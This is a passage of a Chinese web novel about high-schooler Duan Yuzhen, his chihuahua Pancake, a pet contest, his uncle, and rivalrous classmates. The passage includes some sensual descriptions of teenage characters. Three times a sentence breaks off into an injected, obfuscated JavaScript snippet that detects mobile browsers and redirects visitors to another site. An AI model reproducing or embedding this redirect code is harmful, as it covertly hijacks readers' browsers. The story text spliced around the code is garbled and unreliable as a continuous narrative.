午饭由沈群下厨,段予真在客厅里摆弄插花,pancake乖乖坐在他带来的小毯子上,眯着眼睛晒太阳。 沈群把菜端上桌,段予真这边也刚刚结束,低头收拾着桌面上的碎叶残渣,装饰好的花瓶就摆在手边。 段予真脱了外套,穿着贴身针织衫,下装是牛仔长裤,皮带在腰侧斜支出来短短一截。他身姿修长挺拔,站在桌边专心做着清理工作,有种很居家的氛围,动作间随意的一帧画面都像精心布置过,出现在杂志封面也毫不违和。 清简的客厅被桌上那错落有致的明艳花束渲染出了温暖、活泼的氛围,给整间屋子都注入了一抹活气,且因为颜色搭配浓淡相宜,并不显得突兀。 沈群看得入神,不由自主走过来凝视许久,由衷地感叹:“你的审美真好。” 段予真把花瓶挪到茶几中央:“基本功啦。稍微加上一点装饰,屋子里就不会太寂寞。” “原来予真是觉得我会寂寞?”沈群碰了下段予真的侧脸,那里沾着一小片花瓣。 段予真实话实说:“你们家这么空,这么无聊,多少会有点吧。” 摘下花瓣后,那只手没有收回,而是顺势揽在了他颈后。 “是很寂寞。”沈群用指腹轻轻摩挲着段予真后颈皮肤,低声说:“予真,谢谢你看见我。” 他知道段予真眼里心里有很多人,自己其实根本排不上号。这样便是最好。他就喜欢段予真这样不自知地多情又无情,他希望着自己的存在对段予真来说无关紧要。 随着时间一天天往前走,他的惭愧也越发深厚。他的自私玷污了段予真给出的纯真友谊。 偶尔也忍不住幻想,如果遇到的时间再早些就好了。那沉重累赘的自尊他可以抛弃,去交换更珍爱的东西。 沈群忽然改变姿势,用双臂虚虚地抱住段予真的后背,拉进了些许距离,低头抵在他肩上,很累似的。 安静片刻,段予真伸出手,适时接住了无声坠落下去的一滴眼泪。 他举起手摊开在面前:“沈学长你哭了。” 沈群发出疲惫的笑声。 “怎么办,我不会安慰人。”段予真无措地转移话题:“之前都是我哭鼻子,别人来安慰我。嗯……可以去吃饭吗?我有点饿。” “好,吃饭吧。”沈群抹了把脸,抬起头站好:“不用安慰,你可以笑话我。” 段予真说:“我也不会在别人哭的时候笑话他。” 他忽然踮起脚,凑到沈群脸侧,唇瓣在未干的泪痕上一触即分地碰了下。 “苦涩。”段予真仔细品尝着。 沈群想起个说法,中午日光最盛的时刻,才是一天中阴气最重,鬼魂四处游荡的时候。贴在身前的段予真此时仰着头,眼神顽皮。阳光照耀下,那美丽中还略显青涩的面孔,真的就是依附于男人臂膀间吞吃.精气的艳鬼。 沈群忍不住更进一步,搂着段予真的腰身,手臂不断收紧。段予真的身体纤瘦柔软,一丝抵触的意思都没有,像是可以被他肆意地揉进怀中。这样亲密的距离,皮肤和发丝间的袖子香味也清晰了许多,引诱着他的理智。 他呼吸已经变得沉重。段予真还以为他是在玩闹,在报复自己刚才品尝眼泪的行为,两手轻轻抓在他肩上,假模假样地软着腔调跟他求饶:“沈学长我不敢了,我再也不吃别人的眼泪了……” 沈群在自己产生更不受控制的反应之前松开手,推着段予真去吃饭。 饭后段予真接到陆岳之的电话,接了起来:“何事。” “你的短信什么意思。”陆岳之强忍怒气。 段予真看眼屏幕,确认来电的人真的是他,才纳闷道:“你是理解能力退化了么,我哪里没写清楚。” “‘迟到两至三个小时’,段予真,我是给你补习,不是陪你玩过家家。”陆岳之说:“还有你那条狗,丑得惨不忍睹,你带它参加什么选美活动?出去玩就是出去玩,编理由也编得合理点。” 他的攻击来得太突然了,段予真没来得及捂住pancake的耳朵,和趴在腿上满脸无辜的小狗对视一眼:“讲过好几次让你别这么说它,你是耳背还是记性不好?快点跟pancake道歉。” 陆岳之像是受到了极大的侮辱,冷笑两声将电话挂断。 段予真给他发短信:混蛋,你被解雇了。 他脸上挂着不高兴的表情,揉着pancake的耳朵安抚它的情绪。 很快陆岳之回复过来:赌注依然生效。 段予真瞥着那短短的一行文字,心里没有任何情绪,只是想,好啊,走着瞧。 * 周末下午两三点的商圈里非常拥挤,段予真抱着穿戴了恶魔角发夹和恶魔翅膀小衣服的pancake,被沈群护在手臂间,在人群中穿行。 来到活动的展台前,段予真找到小型犬组,递交了之前填好的报名表,拿到号码牌开始排队。 真正的展示只有两三分钟,整个活动最漫长的过程就是排队。段予真和坐在旁边的一对老夫妻聊了起来,他们养的是条白色的京巴犬,老是歪着脑袋抬头看人,目光略带忧愁,很快和pancake玩到了一起。 坐了没多久,段予真站起来,将位置让给低头倚在墙边看着自己的沈群:“你也坐会儿。” “我还不累。”沈群笑着摸他的脑袋:“继续陪小狗玩吧。” “它们俩玩得挺好,我就不掺和了。”段予真把他拉着坐下:“有点无聊,我去小猫组那边找一下我们班同学。你坐在这帮我看着。” “好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971450|193459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”沈群坐下了。 段予真没去小猫组,而是到最近的便利店买了几瓶纯净水。 排队结账时,他前面的小孩子买零食,口袋里没带够钱,又联系不到家长,红着脸窘迫地站在收银台前面抹眼泪。段予真顺手将那包饼干一起给结了,搂着小孩的脑袋把他带出便利店,问到号码给他家长打了个电话。 小孩就着他给的纯净水吃饼干,段予真守在附近,看到家长来接人了,便默默转身离去。 陆岳之站在不远处的悬铃木后面,眼看段予真的背影逐渐消失在通往下沉广场的台阶下。 他一时头脑发热,跑到这里来验证自己的想法,试图证实段予真根本就没有带那条丑狗参加宠物选美。 至于为什么要花时间较这么无聊且没意义的一个真,陆岳之也没想清楚。 刚到这个地方,他就一眼看见段予真,还看着对方领了个小孩从便利店里出来,低头没说两句话,就走到另一边保持距离,不知道在等什么。 小孩被父母模样的一对男女牵着手领走之后,陆岳之才弄明白,段予真只是又爱心泛滥了,跟这孩子并不认识。 陆岳之产生了不知道该怎么说的感觉。在他的已有认知中,善良往往会和淳朴联系在一起,但段予真光鲜亮丽,张扬,自我,偶尔的刻薄,显然都和淳朴不沾边。 目前为止段予真给他留下的印象可以说很糟糕,非常糟糕。忽冷忽热,花言巧语,荒唐不着调,可他就是犯贱地总想要偏离正常轨道,朝这颗刺得他睁不开眼的星星靠近。 陆岳之脑子里思忖着呆会儿上前怎么打招呼,实在不行就随意点,假装偶遇好了。他跟踪段予真走进拥挤的室内,隔了两三个行人,看对方轻松明媚地笑着,把手里拎的几瓶纯净水分出来,递给坐在墙边的老夫妻。 还有沈群。 陆岳之停下了脚步。 沈群接过水,拧开瓶盖又抬手送回到段予真面前,让他先喝。 段予真扭脸躲避:“干嘛?又不是只剩一瓶了。” 十月份的天气仍有些燥热。沈群喝了点水拧上盖子,看着段予真白皙额头上细密的汗,从口袋拿出湿巾:“予真,你再过来一点。” 段予真朝他走近两步,被拉着坐在了他腿上。沈群拿着湿巾给段予真擦汗,察觉到他要挣扎,笑着说:“不用怕,我没那么脆弱。” 段予真小心地挪动,尽量不压到沈群的右腿,保持谨慎端坐在他膝上,让他帮忙擦脸。 擦完脸沈群把湿巾丢进座位旁边的垃圾桶,没有将人放开,左手反而自然地搂在了段予真腰侧,手臂收紧,圈住单薄的腰身。 “排队还得等一阵子呢,你安心坐着。”沈群笑着仰脸和段予真对视,低声和他说悄悄话:“我刚才偷偷观察了别的小狗,感觉pancake应该能有不错的名次。” 段予真看看周围各种各样精心打扮过的宠物狗,苦笑了下:“希望如此。” 他没法强迫别人都遂他的意,和他一样偏爱pancake,也不指望小狗真能拿到多好的名次,主要是想趁它还有精力的时候,带它到处玩玩。 能有现在和小京巴犬嬉闹的这一会儿,这趟来得也值了。 站在原地望着两个人,望了足足半小时,陆岳之最终没有靠近,转身走了。 15. 15 活动结束之后两个人往外走,黄昏时气温降了下来,有些干燥的冷意。段予真抱着pancake,沈群手里拿着一袋狗粮,安慰道:“没关系的,是评委眼光有问题。至少我们都觉得pancake很可爱。” 段予真低着头抚摸怀里疲倦的小狗:“沈学长我并没有觉得难过呢。” 沈群揉揉他的脑袋:“予真……” 停顿片刻又叫了声:“小真。” 如果现在遇到这种情况的是别人,他也许会说些有道理的废话来开导,比如“不如意事常八九”。但聪明的段予真什么都明白,也并不需要太多安慰。 “我只是在想,晚餐要给pancake什么样的奖励。”段予真抬头看着他,脸上是平静的微笑。 分别后段予真独自坐在车厢后排,抱着安静的pancake,下巴抵在它圆土豆般的脑袋上,一只手不断抚摸它的后背。 “今天玩得高兴吗。”段予真温柔地问。 小狗发出咕噜咕噜的叫声,细长的尾巴来回摆动,轻拍着段予真的手臂。 回家后段予真让宋姨带着pancake去吃饭,他把自己关在书房里,过了好一会儿才出来。 段予真拿着自制的获奖证书,来到pancake的房间,把证书打开,摆在放狗粮的架子顶端。 证书上面用钢笔手写的获奖内容是“全世界最可爱吉娃娃”,右下角盖着红色印章,看起来很规范,很标准。 段予真后退几步,望着那张正处于夕阳斜照中的证书,像一个骄傲的家长,微微抬着头满意地欣赏。 Pancake吃过饭后,段予真抱着它和证书一起拍照片,发了条动态。 加好友的时候虽说已经筛选过,但段予真的朋友圈仍然非常热闹,国内外的亲戚长辈同学朋友队友游戏好友……每回段予真一有新动态,评论区都迅速挤满人,根本回复不完。 等pancake睡下,段予真舒舒服服洗了个澡,才坐在书桌前正式开始看评论。 琬知:亲亲小松饼宝宝! 段予真回复:亲亲我[傲慢] 琬知:好呀,亲亲你[亲亲] 段予哲:万圣节还没到就带着你的丑东西出来吓人了。 段予真回复:去死。 沈学长:全世界最可爱获奖证书[愉快] 段予真回复:当然。 严烈:无聊了吗?我明天就回去了[亲亲] 段予真没理他,继续往下翻。 妈妈:小咩咩养小狗儿[偷笑] 段予真回复:[跳跳][跳跳] 老爹:哇,人与动物和谐共处,多么美好!此情此景令鄙人诗兴大发!请移步私聊,特赠段氏打油诗一首[呲牙] 段予真回复:懒得看。 …… 往下再翻几条,段予真开始疲倦,刷新了下,正好看到陆岳之点赞又取消。 他退出朋友圈,回到聊天界面,最上面的消息框露出老父刚发来的打油诗首句:吾家少爷初长成…… 段予真把他的消息提示点掉,诗没细看。就这么两秒功夫,又蹦出来新的红点。 舅:养狗了。 段予真只看不回,徐亦霆紧接着又发了句:阿富汗猎犬不喜欢,养条这种品相的Chihuahua? 段予真忍无可忍:对,我乐意。 舅:你一直忘了跟我分享你的新生活。 段予真:没忘。 舅:叛逆的小咩。 段予真感到整张脸都不舒服地热了起来。就像以前徐亦霆站在身边监督他写作业,他写完反复检查好几遍,却还是被对方从角落里找出了一道错题的时刻。 段予真反驳:跟叛逆没关系,我只是单纯地觉得你很烦。 舅:随你闹脾气,但是不要为了惹怒我,在外面胡乱kiss青蛙。我看了两三部国内热门青少年影片,主题大同小异,你现在的处境让我很难不发愁。 段予真:…… 段予真:老头,你喝多了。 舅:根据经验,你其实是想表达我喝醉了。不过从事实来看,我的确喝了很多。 舅:princess,can i call you now? 段予真:NO. 舅:please. 段予真不高兴地接了电话。每到这种时候他都觉得徐亦霆的老头劲儿上来了,又烦又无可奈何。毕竟,再怎么说,百善孝为先。 接通之后徐亦霆没说话,隔着屏幕两个人互相听对方的呼吸声。段予真听了一分多钟就烦躁道:“挂了。” 徐亦霆说“稍等”,又问:“圣诞回来过好吗?” “国内没有圣诞假。”段予真趁他看不到,偷偷翻了个白眼。 徐亦霆沉默了,屏幕那边传来反复掀开打火机盖子又关上的声响,段予真知道他在把玩自己去年送的那只dunhill。 老头不怎么抽烟,但平常应酬颇多,要频繁面对烟鬼。每次借用完,可能对面顺手就揣自己兜里了,徐亦霆也不在意,所以随身携带的打火机总是高频率遗失。 段予真送出这小玩意时并没指望徐亦霆能用多长时间,只是想找个差不多的东西,把他的生日礼物给搪塞过去。意外的是从那之后徐亦霆的打火机就没再丢过。 经过为期一周的观察,段予真发现老头基本每天都会把打火机随手拿出来摆弄几下,却不肯再外借,吝啬得很,没用过好东西似的。 并且上一秒他摆弄完打火机放回口袋,下一秒有人抽烟跟他借火,他都能泰然自若地说不好意思没带。反而搞得别人很尴尬。 “挂了。”段予真再次催促。 徐亦霆没有再询问别的假期。更远的工作安排他自己也说不定,不能轻易承诺。 “开视频。”徐亦霆说。 段予真头皮发麻,察觉到他控制欲发作,说了一连串的NO。徐亦霆不紧不慢地说:“圣诞我可能要回云山一趟,看看你阿公阿婆。” 云山是徐清然和徐亦霆姐弟出生、成长的故乡,段予真的阿公阿婆一辈子住在那没离开,故去后就合葬在老房子后面的墓园里。 清明节,重阳节,徐亦霆都没回去,过洋节的时候倒是想起来当孝子了。段予真不知道他抽的哪门子风:“去呗。” “到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971451|193459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时经过兰城,顺便也看看小咩的生活近况。”徐亦霆图穷匕见。 “……你烦不烦。”段予真没好气地翻出支架把手机放好:“视频,不就是视频吗?来,我现在打过去,你赶紧接。” 徐亦霆按下接通。屏幕里的段予真穿了件浴袍,领口松垮地挂在肩头,露出大片锁骨与胸膛,刚吹干的发丝蓬松柔顺,刘海微微遮住了眉眼,安静地盯着自己,神色中有些孩子气的不高兴。 青春,明亮。锐气十足的眼睛,秀美精致的鼻梁线条,淡色的唇,皮肤白皙清透,泛着健康光泽。 一切的一切都还是他想象中的样子,没有任何变化。 “满意了吧。”段予真揉了揉燥热的脸颊,抱住身旁靠枕,斜躺在沙发里,歪着脑袋用余光懒洋洋地瞥向徐亦霆。 凤眼用这个角度看人时格外缱绻多情,长睫毛在眼尾投下的淡淡阴影更是显得眼神幽深,很有些勾人的味道。即使段予真本身并无此意。 徐亦霆目光扫视,确认段予真的脸上身上既没有多出什么也没有缺少什么,嗯了一声,又不说话了,在拉着窗帘的昏暗背景中,用那张没有波澜的扑克脸继续凝视段予真。 段予真也看着他,静了一会儿,想起来:“今天不是工作日?” 徐亦霆说:“休息。” 段予真蹙眉思索今天是什么重要的日子能让工作狂选择休息,脑子里百转千回之后,终于记起来是徐亦霆平平常常的又一个生日。 怪不得绕来绕去就是不肯挂断,原来是找他尽孝来了。段予真腹诽。 “啊……生日快乐。”段予真抱拳做了个“恭喜恭喜”的手势。徐亦霆微不可察地笑了下,按按鼻梁,终于叹了口气说:“你睡吧。” 视频挂断后,段予真忍痛发过去个99块的红包。徐亦霆收了,问:为什么是九十九。 段予真:意思当然是祝你高寿啊。 徐亦霆:我九十九的时候你七十六,寿宴可以一起办。 段予真:不要。我不要变老,皱皱巴巴丑死了。你一个人老吧,到时候脸上全是褶皱,老得像颗核桃。 徐亦霆:舅舅现在已经比你老了。 段予真:行了,别在这感叹了。你年轻的时候我也见过。 段予真:老头生日快乐[胡萝卜敬礼.jpg] 徐亦霆:奇怪的图片。 段予真:这叫表情包[尴尬] 徐亦霆:[胡萝卜敬礼.jpg] 几分钟后,段予真突然收到大额转账。徐亦霆在教育上对他很严苛,与此同时给他花钱也花得大方,内核还是那套富养女儿的养法,意在丰富精神,开阔眼界,避免哪天他轻易被外面的混小子三言两语骗走。 段予真收到一大笔此生挚爱,喜出望外地扑到床上打了个滚,接着爬起来矜持地回了条语音过去,语气端庄不失羞涩:“今天是你过生日,又不是我。这样子不好吧?” 发完语音他又打了个滚,抱着枕头,点开徐亦霆严厉的回复:“不准用这种撒娇的方式跟外面的人讲话。” 刚给点好脸色,爹瘾又犯了。段予真嗤笑一声,很是乖巧地答应着:“我知道的呀。” 16. 16 严烈祖母去世,跟学校请了一个多星期的假,回到兰城立刻又死皮赖脸地缠着段予真,来找他抄这周落下的作业。 他们家亲戚一大堆,但没几个特别发达的,因此老人还没走那会儿就都已经开始惦记着遗产,葬礼也是办得鸡飞狗跳。 段予真还记得曾跟严烈一起在他祖父母家里的园子里玩捉迷藏,园中种了许多果树花草,还有些精致的笼子高低错落地挂在房檐上,时常能听到鸟雀啁啾。严烈祖父去得早,祖母退休之后每天在家养花,逗鸟,是个很和蔼的老太太。 老人走得急,严烈赶去参加葬礼前跟段予真见了一面。段予真问:“用不用我跟你一起。” 严烈摇头:“不用。办的是白事,意头不好。我们家那帮亲戚你也知道,素质太差,会影响你休息。” 段予真伸手摸了下他的脸。严烈立刻握住覆在脸侧的温柔手掌,不住磨蹭着:“小真你再这样,我就不想走了。” 他平常总是傲慢骄横,现在低声下气的状态只在最信赖的家人面前显现。段予真知道是因为严家兄弟姐妹太多,严烈从小缺失关注,内心很压抑,于是逐渐养成了躁动的性格,试图让在乎的人能多看他两眼。 这样的脾气,越是顺毛摸,他反而会越来劲。就像那种被养坏了的烈犬,只用温声细语是驯不住的。 有时段予真也头疼,觉得他太烦了,但最后还是会心软。严烈即使是条坏狗,那也是从小陪着他长大的坏狗,不能不管。 “别说梦话。去吧,有事给我打电话。”段予真将手抽离。 一周后严烈回来了,径直来到段家别墅,带给段予真个木头匣子,里面是大半盒绿莹莹的翡翠珠。 这东西是幼时两人蹲在屋檐底下当弹珠玩过的。段予真怀旧地抓起一把,在手里抛了拋,张开指缝看它们哗啦哗啦流回盒子里,“突然给我这个干嘛。” “收拾旧衣服找出来的。再不带走,恐怕要被我那些叔叔伯伯拿去分了。小真你就收着玩吧。”严烈坐在段予真的书桌前奋笔疾书。 幸好他们班和段予真班里教学进度差不多,段予真的脑袋瓜又一直聪明得让他很放心。他边抄边特意改错了些答案,把这几天的作业对付了过去。 段予真玩着翡翠珠,在旁边提醒:“数学卷二最后那两道大题别抄。我偷懒按我舅教的思路解的,大概率跟标准答案不一样。” “明白明白。”严烈有十几年的抄作业经验,当然不至于犯这种低级错误。 抄完作业已经很晚了,他名正言顺地留下来,睡在段予真隔壁的客房。 睡前严烈忽然发现床头柜上的相框有点不对劲。 相框原本夹着一张段予真的童年旧照,还是在留着波波头的小学时期。严烈记得特别清楚,照片里面的段予真穿条红裙子,戴了生日皇冠,坐在圆桌前鼓起脸颊吹蜡烛。 当时请来的摄影师把那稚气而灵动的一瞬间抓拍得特别好,八岁的段予真又是天使般可爱。照片洗出来之后,先是收在段家的家庭相册里,被严烈偷走了两次,又被段予真拿回来,最终夹进相框摆在了不常用的客房。 从那之后,严烈只有留宿时才能尽情欣赏他心中最珍贵的这一张公主殿下童年照。 然而现在相框里的照片变了,换成了pancake穿戴恶魔套装的精美写真。 严烈不可置信地抓起相框晃了晃,眼前看到的东西并没有发生他想象中的变化。 他拿着相框到隔壁敲门:“小真,闹鬼了!” 段予真闭着眼睛仰头靠在浴缸里,在蒸腾的热气中面若桃花。听到外面的喊声,他慢慢睁开双眼,起身迈出浴缸,站在镜子前面擦着头发。 在浴室过于明亮的灯照下,段予真修长柔软的肢体白到反光。从饱满小巧的头颅,纤秾合度的高挑身材,再到手指、足尖这些最微末的细节都堪称完美,像一片干净崭新的画布,等待着有人在上面留下痕迹。 镜中映出的是张艳绝,锋芒毕露的美丽面孔,神情却漠然。听到门外再次传来噪音,眉眼间有些微倦意一闪而逝,如同洒在新雪上的盐粒,令段予真周身似有若无的冷淡气质逐渐消融,重回烟火人间。 擦完头发,他披上浴袍,拉开门出去找严烈算账。 “几点了。”段予真轻轻地问。 严烈看眼时间,随即意识到他不是真的想知道现在几点,而是委婉提醒自己太聒噪,拿起相框:“我没想吵,但是有件急事——小真你的照片不见了。” 段予真说:“送人了。” “送谁?”严烈脑子里浮现数张令人厌恶的脸。段予真没解释:“我的照片想送给谁需要你过问吗。滚去睡觉。” 他关上门。严烈纳闷地站了会儿,但一路细数过去,可疑的人实在太多,猜都猜不完。 早晨严烈蹭段予真的车一块儿去学校,帮他拿着书包。他走在段予真身后魁梧得像个保镖,实际起到的也正是护卫作用,用眼神威慑每个意图向段予真靠近的同性或异性。 段予真脚步轻快,边走边浏览社媒,被一路护送到教室门口,伸出手去接书包。 “帮你拿进去。”严烈不想让他受累。 段予真坚持伸着手,严烈才把书包还给他,告别离开。 两人说话时,陆岳之从旁边擦肩而过走进教室,瞥了段予真两秒,没从他脸上看到任何的恐慌不安。 约定好的期中考试正在今天。这阵子段予真没有一点努力的痕迹,最后得到的惨烈结果,终将证明那天他就是在夸夸其谈。 等成绩出来了,不知道段予真会怎么样。哭鼻子吗? 不会,他才不是那样的性格。 陆岳之冷冷地想,多半会耍赖吧。 从来就没吃过学习的苦,偏偏还虚荣心强烈,总爱装腔作势的小少爷。 每天周旋在不同的追求者之间已经够忙了,哪里还能有空刷题,刻苦钻研。 陆岳之觉得,之前偶尔对段予真抱有信心的自己也是蠢得可笑。 段予真随便招招手,他就头脑发热地凑上去,跟中蛊了似的。明知根本不是一个世界的人,竟然还心存幻想…… 背地里也不知道段予真会怎么样和身边的富二代一起,嘲笑像他这种穷人。 收拾好座位,在考场里坐下,陆岳之又不由自主地看向斜前方段予真的背影。 宽大校服里裹着一具清瘦的身体。腰很窄很薄,小腹平坦,皮肤柔软细腻,他都是亲眼见过,亲手触摸过的。这些体验可以在梦中反复回味,但不该出现在当下……显然他的思绪有些失控了。 陆岳之深呼吸几次,低头看着面前空荡的课桌,极力保持清醒。他甚至恼火地想,难不成这也是段予真的计谋吗?妄想利用美色,令自己在考试中分心。 大考的难度比平时的班级、年级小测要高出不少,题目综合性也更强。 两天半考试结束,下午正常上课。陆岳之频频观察段予真,还是没从他脸上发现过苦恼的神色。 恍惚中他都有点怀疑,段予真是不是把两个人打的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971452|193459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赌给忘了。 不过,陆岳之一直有着良好的耐心。出成绩是在下周,这几天他有足够的时间,等着段予真回过神想起夸下的海口。没准段予真还会私下来找他求和。 说实话他起初对两人的赌注完全是嗤之以鼻的,所谓的当跟班这种无聊奖励也没当回事。但现在段予真满不在乎的态度让他很恼火,所以,等考试排名公布的那天,他会第一时间要求段予真履行承诺。 ——随叫随到,有求必应。 陆岳之心里波澜起伏,脸上却还是一片漠然之色,远远地盯着站在走廊里和女生闲聊的段予真。 段予真对待女生很温柔,相比面对男性时的冷脸和不耐烦要亲切得多,也不介意按照她们的要求,进行合照或者是不过度亲密的肢体接触。 他的温柔不带有任何目的性,包容而自持,礼貌得体,在一众大脑发育不完全的同龄男生里更显得鹤立鸡群。面对这样的一个人,除非真的已经做到断情绝欲,否则实在是很难不把目光投向他,不被他吸引。 小少爷很受女孩子欢迎嘛。陆岳之嘲弄地想。 要是这些女生听到段予真被严烈那个狗腿子称呼为“公主殿下”,看到段予真校服里清瘦白皙的身体,不知又会有怎样的反应?恐怕是会很失望吧。毕竟应该没有哪个女生,会把一个弱不禁风的绣花枕头当成自己的理想男友。 身体突然间又控制不住地亢奋起来。陆岳之厌恶着自己频繁发作的动物本性,几个月前,在段予真出现之前,他可以说清心寡欲,很少遇到这种尴尬情况。他引以为傲,并且决定永远保持下去的自制力,被轻而易举地破坏了。 他也因此更加厌恶段予真。 陆岳之想得太过入迷,回神的时候,段予真已经从走廊回到了教室。 “大木头,你没事吧?” 段予真越走越近,看着陆岳之的眼神很惊讶。陆岳之冷漠地低头看向课本,却发现白纸上滴落了两三片殷红的痕迹。 流鼻血了。 难怪刚才路过的两三个同学表情怪怪的,可能想提醒,但又被他阴沉的表情给吓退。 他皱起眉,抬手摸了下人中,手指也沾上了血迹,下意识地就要仰起脑袋。 段予真啧了声,按着陆岳之的后脑勺让他低头,随后从桌屉里拿出湿巾和没喝完的纯净水,将湿巾完全浸透,叠了几层,敷在陆岳之的后颈和额头处。 “你究竟是木头还是猪头,自己流鼻血都没感觉吗。”段予真嫌弃地说。 他右手还按着湿巾,贴在陆岳之额头上,触感微微冰冷。陆岳之本来是想推开他,但手指圈住那截细腕,反而一不小心就握紧了。 “抓我手干嘛?你倒是捏鼻梁啊。”段予真又是叹气又是想笑。 陆岳之慌忙松开手,心乱如麻地转而捏住鼻子压迫止血。 段予真的手忽然从额头离开。陆岳之抬眼看去,他又拿了几张干净湿巾,耐心重复着用水浸透的动作。 血已经止住。陆岳之不想再和段予真产生肢体触碰,在他靠近时身体往后退了退,闷声说:“谢谢。不需要你再帮我了。” 段予真说:“伸手。” 陆岳之摊开手,段予真将湿巾放在他手里:“自己处理吧。我有镜子你要不要?把脸上的血擦干净。” 陆岳之生硬道:“不用,谢谢。” 在这种有人需要帮助的时候,段予真的脾气总好得超乎寻常,没有计较陆岳之冷淡的道谢,对他淡淡一笑,比了个ok手势就转过身去。 17. 17 离放学还有最后一节课,沈群来班里找段予真。 母亲的同事从乡下探亲回来,送了大堆应季的新鲜菜蔬,今天又是小雪,他便想着邀请段予真去家里吃顿饭庆祝。 段予真答应下来,给家里的司机打了个电话,让他来学校的时候,顺便把下午送到的一个快递拿给自己。 沈群前脚刚走,后脚严烈就冒出来:“小真,放学之后我们去看电影吧!” “下次。我已经跟别人约好了。”段予真推开他凑过来的脸。严烈问:“谁?是不是那个你送照片给他的人?” “是又怎么样。”段予真再次推开他的脸。 严烈扭曲地笑了下:“其实我知道是谁,你就喜欢那种类型,太好猜了。是沈群那个死瘸子。” “不会说话就闭嘴。”段予真语气冰冷。 “公主殿下,你真以为那个家伙有你想的那么好吗?都是装的,你被他装出来的样子骗住了。”严烈把牙齿咬得咯咯作响: “那瘸子没瘸之前可是狂上天了,但凡认识的人没一个不讨厌他。他就是看你单纯善良,故意装出很好的样子来骗你。除了你谁还会可怜这种人……” “严少。”段予真眼中含笑,情绪平稳地看着他:“看来你对我平时的社交有很多意见。” 严烈和段予真对视,气焰渐消,低垂下脑袋:“小真对不起。” “你对不起的是我吗。”段予真的耐心正在迅速消失。严烈连忙又说:“我错了,我不该辱骂瘸……残障人士。” 自从猜疑到沈群身上之后,严烈心里多少有些不安分,总想找机会对这个碍眼的瘸子下点黑手。 这件事的执行难度不高,阻碍在于,一旦他做了就不可能不被段予真发现,而被发现的后果是他无法承受的,最终只得选择放弃。 严烈觉得自己已经很收敛了,嘴上骂一骂而已,都没做出实际行动去报复。即使这样段予真竟然都不允许。 严烈只能在心里诅咒沈群,盼着他哪天出点什么意外从此消失。死了更好,只要别再霸占段予真的注意力。 * 坐上车之后,段予真把司机送来的东西拿给了沈群:“沈学长,这个送给你。” “谢谢予真的礼物。不过,这是什么东西?”沈群惊喜地看着递到手里的盒子。 段予真认真解释:“是膏药贴。我让我妈妈帮忙弄到的,据说是很有用的秘方。你右腿容易疼,冬天天气太冷会很难熬,贴了这个能舒服点。” 沈群愣愣地看着他,神情动容,拿着药盒的手轻微地发抖,许久没有说话。 他很想告诉段予真,我不值得你这么做。不要对我太好。 却又喉咙发紧,什么都说不出来,贪婪地继续汲取着段予真身上的暖意。 “你今天还会给我做年糕汤吗。”段予真敏感地觉察到沈群的情绪波动,转移了话题。 “当然,予真,当然。只要你想,什么菜我都能做。不会的东西我也可以学。”沈群向段予真靠近,伸手捧住他的脸颊,微微低头,嘴唇在段予真眉心小心地碰了下,又与他额头相抵。 “那你帮我在汤里多加一些蔬菜。”段予真没有抵触他的亲昵,只是被亲得有点痒,低垂眼帘很苦恼地说:“今天我的蔬菜摄入量还没达标。” 沈群后退些许,近距离凝视着段予真纯美无暇的脸。 车窗外开始飘着细小的雪花,难熬的冬天悄然降临。不过,给予他爱和温暖的天使就近在眼前,严寒也不足为惧。 上天啊。沈群想,让我死在这一刻就足够了。 伴随着咕嘟咕嘟的声音,窄小的厨房里逐渐弥漫开热腾腾的雾气。段予真穿了条围裙,独自站在灶台前。 沈群去洗手间了,他在帮忙执行看火的指责。 段予真两手握紧锅铲,表情紧张地盯着汤锅。他的厨艺仅限于制作沙拉——也就是把几种蔬菜水果依次放进大碗里,再加入不同的料汁,胡乱混合一下。 以前徐亦霆曾试图培养他的烹饪技能,但由于舅甥两人都是厨房白痴,段予真认为他没资格在这方面指点自己,而且也实在是不喜欢下厨,培养最终以失败告终。 按照a国传统,父亲节母亲节那天,小孩子要给爸爸妈妈亲手做一份床上早餐。于是十几年来每到父亲节这日,徐亦霆的节日特餐都是段予真敷衍制作的各式沙拉。 他属于味觉怪物,吃草也能吃出幸福感。偶尔有节日的早晨段予真睡懒觉罢工,还会被徐亦霆拎起来,提醒他今天是Father''s Day,where is my breakfast in bed? 徐亦霆还属于没有痛觉并且异常固执的那种人,被犯起床气的段予真挠花脸好几回,仍坚持要求享受到自己在父亲节应有的一份福利。 段予真从那时候就打算着,等以后搬出去住了,一定要请两个专业厨师负责伙食。自己留一个,再给徐亦霆送一个就当尽孝,让他过节的时候能吃点好东西开开眼,别老惦记自己做的草拌草,又不是牛。 